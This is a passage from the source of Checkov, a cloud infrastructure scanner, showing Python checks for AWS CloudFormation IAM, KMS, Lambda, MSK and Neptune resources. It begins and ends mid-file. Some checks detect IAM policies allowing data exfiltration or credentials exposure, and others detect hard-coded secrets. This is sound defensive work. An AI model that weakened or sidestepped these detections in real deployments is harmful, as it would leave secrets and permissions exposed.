"CKV_AWS_107" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> list[str]: credentials_exposure_actions = policy.credentials_exposure return [ x for x in credentials_exposure_actions if x not in cloudsplainingCredentialsExposure.excluded_actions ] check = cloudsplainingCredentialsExposure() ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py ================================================ from checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck class cloudsplainingDataExfiltration(BaseCloudsplainingIAMCheck): def __init__(self): name = "Ensure IAM policies does not allow data exfiltration" id = "CKV_AWS_108" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy): return policy.allows_data_exfiltration_actions check = cloudsplainingDataExfiltration() ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py ================================================ from checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck class cloudsplainingPermissionsManagement(BaseCloudsplainingIAMCheck): def __init__(self): name = "Ensure IAM policies does not allow permissions management without constraints" id = "CKV_AWS_109" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy): return policy.permissions_management_without_constraints check = cloudsplainingPermissionsManagement() ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py ================================================ from typing import List, Any from checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class IAMPolicyAttachedToGroupOrRoles(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may " \ "in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.)" id = "CKV_AWS_40" supported_resources = ['AWS::IAM::Policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) """ Looks for users attached to an IAM policy https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-policy.html """ def get_inspected_key(self) -> str: return "Properties/Users" def get_forbidden_values(self) -> List[Any]: return [ANY_VALUE] check = IAMPolicyAttachedToGroupOrRoles() ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py ================================================ from checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck class cloudsplainingPrivilegeEscalation(BaseCloudsplainingIAMCheck): def __init__(self): name = "Ensure IAM policies does not allow privilege escalation" id = "CKV_AWS_110" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy): escalations = policy.allows_privilege_escalation flattened_escalations: list[str] = [] if escalations: for escalation in escalations: if isinstance(escalation, dict): flattened_escalations.extend(escalation.get('actions')) else: flattened_escalations.append(escalation) return flattened_escalations check = cloudsplainingPrivilegeEscalation() ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py ================================================ from __future__ import annotations import json import re from typing import Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories ACCOUNT_ACCESS = re.compile(r'\d{12}|arn:aws:iam::\d{12}:root') class IAMRoleAllowAssumeFromAccount(BaseResourceCheck): def __init__(self) -> None: name = "Ensure AWS IAM policy does not allow assume role permission across all services" id = "CKV_AWS_61" supported_resources = ('AWS::IAM::Role',) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ['Properties'] properties = conf.get('Properties') if properties and 'AssumeRolePolicyDocument' in properties: assume_role_policy_doc = properties['AssumeRolePolicyDocument'] if isinstance(assume_role_policy_doc, dict) and 'Fn::Sub' in assume_role_policy_doc.keys(): policy_fn_sub_block = assume_role_policy_doc['Fn::Sub'] if isinstance(policy_fn_sub_block, list) and len(policy_fn_sub_block) == 2: assume_role_block = json.loads(policy_fn_sub_block[0]) else: assume_role_block = json.loads(policy_fn_sub_block) elif isinstance(assume_role_policy_doc, str): try: assume_role_block = json.loads(assume_role_policy_doc) except Exception: return CheckResult.UNKNOWN else: assume_role_block = assume_role_policy_doc else: return CheckResult.UNKNOWN if 'Statement' in assume_role_block.keys(): if isinstance(assume_role_block['Statement'], list) and 'Principal' in \ assume_role_block['Statement'][0]: if 'AWS' in assume_role_block['Statement'][0]['Principal']: if isinstance(assume_role_block['Statement'][0]['Principal']['AWS'], list) \ and isinstance(assume_role_block['Statement'][0]['Principal']['AWS'][0], str): if re.match(ACCOUNT_ACCESS, assume_role_block['Statement'][0]['Principal']['AWS'][0]): self.evaluated_keys = ['Properties/AssumeRolePolicyDocument/Statement'] return CheckResult.FAILED return CheckResult.PASSED check = IAMRoleAllowAssumeFromAccount() ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMRoleAllowsPublicAssume.py ================================================ import json from typing import Dict, Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class IAMRoleAllowsPublicAssume(BaseResourceCheck): def __init__(self) -> None: name = "Ensure IAM role allows only specific services or principals to assume it" id = "CKV_AWS_60" supported_resources = ("AWS::IAM::Role",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: self.evaluated_keys = ["Properties/AssumeRolePolicyDocument/Statement"] properties = conf.get("Properties") if isinstance(properties, dict): assume_role_policy_doc = properties.get("AssumeRolePolicyDocument") if isinstance(assume_role_policy_doc, str): try: assume_role_policy_doc = json.loads(assume_role_policy_doc) except Exception: return CheckResult.UNKNOWN if isinstance(assume_role_policy_doc, dict) and assume_role_policy_doc.get("Statement"): statements = assume_role_policy_doc["Statement"] if isinstance(statements, list): for statement_index, statement in enumerate(statements): if not isinstance(statement, dict): continue if statement.get("Effect") == "Deny": continue principal = statement.get("Principal") if isinstance(principal, dict): aws_principals = principal.get("AWS") if aws_principals == "*": self.evaluated_keys = [ f"Properties/AssumeRolePolicyDocument/Statement/[{statement_index}]/Principal/AWS" ] return CheckResult.FAILED if isinstance(aws_principals, list): for principal_index, principal in enumerate(aws_principals): if principal == "*": self.evaluated_keys = [ f"Properties/AssumeRolePolicyDocument/Statement/[{statement_index}]/Principal/[{principal_index}]/AWS" ] return CheckResult.FAILED return CheckResult.PASSED check = IAMRoleAllowsPublicAssume() ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py ================================================ from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list import ast class IAMStarActionPolicyDocument(BaseResourceCheck): def __init__(self): name = "Ensure no IAM policies documents allow \"*\" as a statement's actions" id = "CKV_AWS_63" supported_resources = ['AWS::IAM::Policy', 'AWS::IAM::Group', 'AWS::IAM::Role', 'AWS::IAM::User'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): myproperties = conf.get("Properties") type = conf['Type'] self.evaluated_keys = ['Properties'] # catch for inline policies if type != 'AWS::IAM::Policy': if isinstance(myproperties, dict) and 'Policies' in myproperties.keys(): policies = myproperties['Policies'] if len(policies) > 0: for idx, policy in enumerate(policies): self.evaluated_keys = ["Properties/Policies"] if not isinstance(policy, dict): return CheckResult.UNKNOWN if policy.get('PolicyDocument'): self.evaluated_keys = [f"Properties/Policies/{idx}/PolicyDocument"] result = check_policy(policy['PolicyDocument']) if result == CheckResult.FAILED: return result return CheckResult.PASSED # not empty and had non failing policies return CheckResult.UNKNOWN # this is just for Policy resources if isinstance(myproperties, dict) and 'PolicyDocument' in myproperties.keys(): self.evaluated_keys = ["Properties/PolicyDocument"] return check_policy(myproperties['PolicyDocument']) return CheckResult.UNKNOWN check = IAMStarActionPolicyDocument() def check_policy(policy_block): if policy_block: if isinstance(policy_block, str): policy_block = ast.literal_eval(policy_block) if isinstance(policy_block, dict) and 'Statement' in policy_block.keys(): for statement in force_list(policy_block['Statement']): if 'Action' in statement and statement.get('Effect', ['Allow']) == 'Allow' and '*' in force_list( statement['Action']): return CheckResult.FAILED return CheckResult.PASSED else: return CheckResult.PASSED else: return CheckResult.PASSED ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py ================================================ from checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck class cloudsplainingWriteAccess(BaseCloudsplainingIAMCheck): def __init__(self): name = "Ensure IAM policies does not allow write access without constraints" id = "CKV_AWS_111" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy): return policy.write_actions_without_constraints check = cloudsplainingWriteAccess() ================================================ FILE: checkov/cloudformation/checks/resource/aws/IMDSv1Disabled.py ================================================ from __future__ import annotations from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.data_structures_utils import find_in_dict class IMDSv1Disabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Instance Metadata Service Version 1 is not enabled" id = "CKV_AWS_79" supported_resources = ("AWS::EC2::LaunchTemplate",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: # IMDS can be disabled or IMDSv2 can be enabled http_endpoint = find_in_dict( input_dict=conf, key_path="Properties/LaunchTemplateData/MetadataOptions/HttpEndpoint", ) if http_endpoint == "disabled": return CheckResult.PASSED return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "Properties/LaunchTemplateData/MetadataOptions/HttpTokens" def get_expected_value(self) -> Any: return "required" check = IMDSv1Disabled() ================================================ FILE: checkov/cloudformation/checks/resource/aws/KMSKeyWildCardPrincipal.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class KMSKeyWildCardPrincipal(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure KMS key policy does not contain wildcard (*) principal" id = "CKV_AWS_33" supported_resources = ("AWS::KMS::Key",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/KeyPolicy/Statement/Principal" def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("Properties") if properties and isinstance(properties, dict): policy_block = properties.get("KeyPolicy") if policy_block and isinstance(policy_block, dict): statements = policy_block.get("Statement") if statements and isinstance(statements, list): for statement in statements: principal = statement.get("Principal") if not principal: continue if statement.get("Effect") == "Deny": continue if isinstance(principal, dict) and "AWS" in principal: # the actual principals can be under the `AWS` principal = principal["AWS"] if isinstance(principal, str) and principal == "*": return CheckResult.FAILED if isinstance(principal, list) and "*" in principal: return CheckResult.FAILED return CheckResult.PASSED check = KMSKeyWildCardPrincipal() ================================================ FILE: checkov/cloudformation/checks/resource/aws/KMSRotation.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class KMSRotation(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure rotation for customer created CMKs is enabled" id = "CKV_AWS_7" supported_resources = ("AWS::KMS::Key",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/EnableKeyRotation" def scan_resource_conf(self, conf): # Only symmetric keys support auto rotation. The attribute is optional and defaults to symmetric. properties = conf.get("Properties") if properties and isinstance(properties, dict): spec = properties.get("KeySpec") if spec and isinstance(spec, str): if 'SYMMETRIC_DEFAULT' not in spec and 'HMAC' not in spec: return CheckResult.UNKNOWN return super().scan_resource_conf(conf) check = KMSRotation() ================================================ FILE: checkov/cloudformation/checks/resource/aws/KinesisStreamEncryptionType.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class KinesisStreamEncryptionType(BaseResourceValueCheck): def __init__(self): name = "Ensure Kinesis Stream is securely encrypted" id = "CKV_AWS_43" supported_resources = ['AWS::Kinesis::Stream'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/StreamEncryption/EncryptionType' def get_expected_value(self): return 'KMS' check = KinesisStreamEncryptionType() ================================================ FILE: checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py ================================================ from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class LambdaDLQConfigured(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)" id = "CKV_AWS_116" supported_resources = ("AWS::Lambda::Function", "AWS::Serverless::Function") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: if self.entity_type == "AWS::Lambda::Function": return "Properties/DeadLetterConfig/TargetArn" elif self.entity_type == "AWS::Serverless::Function": return "Properties/DeadLetterQueue/TargetArn" return "" def get_expected_value(self) -> Any: return ANY_VALUE check = LambdaDLQConfigured() ================================================ FILE: checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py ================================================ from __future__ import annotations from typing import Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.secrets import AWS, GENERAL, get_secrets_from_string class LambdaEnvironmentCredentials(BaseResourceCheck): def __init__(self) -> None: name = "Ensure no hard-coded secrets exist in Lambda environment" id = "CKV_AWS_45" supported_resources = ("AWS::Lambda::Function", "AWS::Serverless::Function") categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["Properties/Environment/Variables"] properties = conf.get("Properties") if isinstance(properties, dict): environment = properties.get("Environment") if environment and isinstance(environment, dict): variables = environment.get("Variables") if variables and isinstance(variables, dict): for var_name, value in variables.items(): if isinstance(value, dict): # if it is a resolved intrinsic function like !Ref: xyz, then it can't be a secret continue # Skip checking if the value starts with 'handler.' if isinstance(value, str) and (value.startswith('handler.') or value.startswith('git.')): continue secrets = get_secrets_from_string(str(value), AWS, GENERAL) if secrets: self.evaluated_keys = [f"Properties/Environment/Variables/{var_name}"] for idx, secret in enumerate(secrets): conf[f'{self.id}_secret_{idx}'] = secret return CheckResult.FAILED return CheckResult.PASSED check = LambdaEnvironmentCredentials() ================================================ FILE: checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class LambdaEnvironmentEncryptionSettings(BaseResourceCheck): def __init__(self) -> None: name = "Check encryption settings for Lambda environment variable" id = "CKV_AWS_173" supported_resources = ("AWS::Lambda::Function", "AWS::Serverless::Function") categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("Properties") if properties is not None: env = properties.get("Environment") if env is not None: if not isinstance(env, dict): return CheckResult.UNKNOWN elif env.get("Variables") and not properties.get("KmsKeyArn"): return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["Properties/KmsKeyArn"] check = LambdaEnvironmentEncryptionSettings() ================================================ FILE: checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py ================================================ from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class LambdaFunctionLevelConcurrentExecutionLimit(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that AWS Lambda function is configured for function-level concurrent execution limit" id = "CKV_AWS_115" supported_resources = ("AWS::Lambda::Function", "AWS::Serverless::Function") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/ReservedConcurrentExecutions" def get_expected_value(self) -> Any: return ANY_VALUE check = LambdaFunctionLevelConcurrentExecutionLimit() ================================================ FILE: checkov/cloudformation/checks/resource/aws/LambdaFunctionURLAuth.py ================================================ from checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class LambdaFunctionURLAuth(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that Lambda function URLs AuthType is not None" id = "CKV_AWS_258" supported_resources = ['AWS::Lambda::Url'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "Properties/AuthType" def get_forbidden_values(self): return ["NONE"] check = LambdaFunctionURLAuth() ================================================ FILE: checkov/cloudformation/checks/resource/aws/LambdaInVPC.py ================================================ from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class LambdaInVPC(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that AWS Lambda function is configured inside a VPC" id = "CKV_AWS_117" supported_resources = ("AWS::Lambda::Function", "AWS::Serverless::Function") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/VpcConfig" def get_expected_value(self) -> Any: return ANY_VALUE check = LambdaInVPC() ================================================ FILE: checkov/cloudformation/checks/resource/aws/LambdaServicePermission.py ================================================ from __future__ import annotations from typing import List, Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class LambdaServicePermission(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount" id = "CKV_AWS_364" supported_resources = ("AWS::Lambda::Permission",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get('Properties') if properties and isinstance(properties, dict): principal = properties.get('Principal') if principal and isinstance(principal, str): principal_parts = principal.split('.') try: if principal_parts[1] == 'amazonaws' and principal_parts[2] == 'com': if properties.get('SourceArn') or properties.get('SourceAccount'): return CheckResult.PASSED else: return CheckResult.FAILED except IndexError: # Not a service principal, so pass. return CheckResult.UNKNOWN return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return ['Properties/Principal', 'Properties/SourceArn', 'Properties/SourceAccount'] check = LambdaServicePermission() ================================================ FILE: checkov/cloudformation/checks/resource/aws/LaunchConfigurationEBSEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class LaunchConfigurationEBSEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure all data stored in the Launch configuration EBS is securely encrypted" id = "CKV_AWS_8" supported_resources = ['AWS::AutoScaling::LaunchConfiguration'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: """ Looks for encryption configuration of device block mapping in an AWS launch configurations https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-as-launchconfig-blockdev-template.html :param conf: aws_launch_configuration configuration :return: """ self.evaluated_keys = ['Properties'] properties = conf.get('Properties', {}) if properties is None: return CheckResult.UNKNOWN block_device_mappings = properties.get('BlockDeviceMappings') if block_device_mappings is None: return CheckResult.UNKNOWN if not isinstance(block_device_mappings, list): return CheckResult.UNKNOWN for idx, block_device_mapping in enumerate(block_device_mappings): if not isinstance(block_device_mapping, dict): return CheckResult.UNKNOWN if block_device_mapping.get('Ebs'): if not block_device_mapping['Ebs'].get('Encrypted'): self.evaluated_keys = [f'Properties/BlockDeviceMappings/[{idx}]/Ebs/Encrypted'] return CheckResult.FAILED return CheckResult.PASSED check = LaunchConfigurationEBSEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/MQBrokerAuditLogging.py ================================================ from __future__ import annotations from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class MQBrokerAuditLogging(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure MQ Broker Audit logging is enabled" id = "CKV_AWS_197" supported_resources = ("AWS::AmazonMQ::Broker",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: # https://docs.aws.amazon.com/amazon-mq/latest/developer-guide/security-logging-monitoring-rabbitmq.html # Audit logging is not supported for RabbitMQ brokers. engine_type = conf.get("Properties", {}).get("EngineType") if isinstance(engine_type, str) and engine_type.upper() == "RABBITMQ": return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "Properties/Logs/Audit" check = MQBrokerAuditLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/MSKClusterEncryption.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class MSKClusterEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure MSK Cluster encryption in rest and transit is enabled" id = "CKV_AWS_81" supported_resources = ['AWS::MSK::Cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> Any: # Note: As long as the 'EncryptionInfo' block is specified, the cluster # will be encrypted at rest even if 'DataVolumeKMSKeyId' is not specified if 'Properties' in conf.keys(): if 'EncryptionInfo' in conf['Properties'].keys(): encryption = conf['Properties']['EncryptionInfo'] if 'EncryptionInTransit' in encryption: transit = encryption['EncryptionInTransit'] if 'ClientBroker' in transit and transit['ClientBroker'] != 'TLS' or \ 'InCluster' in transit and transit['InCluster'] is False: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['Properties/EncryptionInfo/EncryptionInTransit/ClientBroker', 'Properties/EncryptionInfo/EncryptionInTransit/InCluster'] check = MSKClusterEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/MSKClusterLogging.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class MSKClusterLogging(BaseResourceCheck): def __init__(self) -> None: name = "Ensure MSK Cluster logging is enabled" id = "CKV_AWS_80" supported_resources = ['AWS::MSK::Cluster'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if 'Properties' in conf.keys(): self.evaluated_keys = ['Properties'] if 'LoggingInfo' in conf['Properties'].keys(): self.evaluated_keys = ['Properties/LoggingInfo'] if 'BrokerLogs' in conf['Properties']['LoggingInfo'].keys(): logging = conf['Properties']['LoggingInfo']['BrokerLogs'] types = ["CloudWatchLogs", "Firehose", "S3"] for x in types: if x in logging and 'Enabled' in logging[x] and logging[x]['Enabled'] is True: return CheckResult.PASSED return CheckResult.FAILED check = MSKClusterLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/MSKClusterNodesArePrivate.py ================================================ from typing import Any, List from checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class MSKClusterNodesArePrivate(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure MSK nodes are private" id = "CKV_AWS_291" supported_resources = ['AWS::MSK::Cluster'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'Properties/BrokerNodeGroupInfo/ConnectivityInfo/PublicAccess/Type' def get_forbidden_values(self) -> List[Any]: return ["SERVICE_PROVIDED_EIPS"] check = MSKClusterNodesArePrivate() ================================================ FILE: checkov/cloudformation/checks/resource/aws/NeptuneClusterBackupRetention.py ================================================ from __future__ import annotations from typing import Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class NeptuneClusterBackupRetention(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Neptune DB cluster has automated backups enabled with adequate retention" id = "CKV_AWS_361" supported_resources = ("AWS::Neptune::DBCluster",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: backup_retention = conf.get("Properties", {}).get("BackupRetentionPeriod", 1) if backup_retention >= 7: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> list[str]: return ["Properties/BackupRetentionPeriod"] check = NeptuneClusterBackupRetention() ================================================ FILE: checkov/cloudformation/checks/resource/aws/NeptuneClusterInstancePublic.py ================================================ # CloudFormation does not currently support and probably will never # # June 2022 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/NeptuneClusterInstancePublic.py # # check_id: CKV_AWS_102 ================================================ FILE: checkov/cloudformation/checks/resource/aws/NeptuneClusterLogging.py ================================================ from __future__ import annotations from typing import Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class NeptuneClusterLogging(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Neptune logging is enabled" id = "CKV_AWS_101" supported_resources = ("AWS::Neptune::DBCluster",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: logs_exports = conf.get("Properties", {}).get("EnableCloudwatchLogsExports", []) if "audit" in logs_exports: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> list[str]: return ["Properties/EnableCloudwatchLogsExports"] check = NeptuneClusterLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/NeptuneClusterStorageEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class NeptuneClusterStorageEncrypted(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Neptune storage is securely encrypted" id = "CKV_AWS_44" supported_resources = ("AWS::Neptune::DBCluster",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/StorageEncrypted" check = NeptuneClusterStorageEncrypted() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ParameterStoreCredentials.py ================================================ from __future__ import annotations import re from typing import Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.secrets import AWS, GENERAL, PASSWORD, get_secrets_from_string class ParameterStoreCredentials(BaseResourceCheck): def __init__(self) -> None: name = "Ensure no hard-coded secrets exist in Parameter Store values" id = "CKV_AWS_384" supported_resources = ("AWS::SSM::Parameter",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def is_dynamic_value(self, value: str) -> bool: patterns = [ r"\$\{.*?\}", # ${...} r"\{\{.*?\}\}", # {{...}} r"\$\(.*?\)", # $(...) r"!Ref\s+\w+", # !Ref SomeResource r"!Sub\s+'.*?'", # !Sub '...' ] return any(re.search(pattern, value) for pattern in patterns) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["Properties/Value"] properties = conf.get("Properties") if isinstance(properties, dict): name = properties.get("Name") if name and re.match("(?i).*secret.*|.*api_?key.*", str(name)): value = properties.get("Value") if value: # If unresolved variable, then pass if isinstance(value, dict): return CheckResult.PASSED # If unresolved variable, then pass 2 if re.match(r".*\$\{.*}.*", value): return CheckResult.PASSED if (re.match("(?i)(.*test.*|.*example.*)", name) or re.match("(?i)(.*test.*|.*example.*)", value)): return CheckResult.PASSED secret = get_secrets_from_string(str(value), AWS, GENERAL, PASSWORD) if secret: return CheckResult.FAILED return CheckResult.PASSED check = ParameterStoreCredentials() ================================================ FILE: checkov/cloudformation/checks/resource/aws/PasswordPolicyExpiration.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyExpiration.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107 ================================================ FILE: checkov/cloudformation/checks/resource/aws/PasswordPolicyLength.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyLength.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107 ================================================ FILE: checkov/cloudformation/checks/resource/aws/PasswordPolicyLowercaseLetter.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyLowercaseLetter.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107 ================================================ FILE: checkov/cloudformation/checks/resource/aws/PasswordPolicyNumber.py 